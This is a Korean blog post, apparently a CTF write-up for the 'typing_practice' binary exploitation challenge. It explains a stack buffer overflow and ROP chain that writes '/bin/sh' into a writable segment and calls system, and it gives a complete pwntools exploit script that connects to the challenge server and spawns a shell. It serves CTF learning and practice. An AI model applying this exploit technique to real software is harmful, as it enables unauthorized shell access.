본문으로 바로가기

[System] typing_practice / 200

category ICEWALL 2019. 7. 19. 01:00

Download: vuln

 

32bit ELF 바이너리에 NX만 걸려있다.

 

최종 목표로 system("sh"); 를 실행하는 것으로 설정했다. 가장 처음 만난 문제점은, "sh" 문자열이 없다는 것이다.

gdb의 vmmap으로 확인해 보면 0x804A000부터 0x804B000까지의 고정 영역에 대한 write 권한이 있다. 이를 이용해 BOF로 gets를 호출하고 해당 영역에 "/bin/sh" 문자열을 쓴 뒤 system 함수를 호출해 인자로 "/bin/sh"를 넘겨주는 방식으로 shell을 얻는 시나리오를 설계했다.

 

gets@plt와 system@plt는 각각 0x8048450, 0x8048460이다. ROP로 위에 작성한 시나리오를 구현해 주면 된다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10207)

# Gadget
pop_ebx_ret = 0x8048429

# Addr
gets_plt = 0x8048450
system_plt = 0x8048460
data_seg = 0x804A100

payload = 'A'*(0x6C+4)
payload += p32(gets_plt)
payload += p32(pop_ebx_ret)
payload += p32(data_seg)
payload += p32(0x804864E)   # func: theSolitaryReaper

p.sendlineafter('Reaper', '1')
p.sendlineafter('Reaper/', payload)

p.sendline('/bin/sh')

payload = 'A'*(0x6C+4)
payload += p32(system_plt)
payload += p32(pop_ebx_ret)
payload += p32(data_seg)

p.sendlineafter('Reaper/', payload)

p.interactive()

'ICEWALL' 카테고리의 다른 글

[System] stack_chk_fail / 300  (0) 2019.07.19
[System] libc_leak / 250  (0) 2019.07.19
[System] fsb32 / 150  (0) 2019.07.19
[System] canary / 150  (0) 2019.07.19
[System] bofbaby2 / 120  (0) 2019.07.18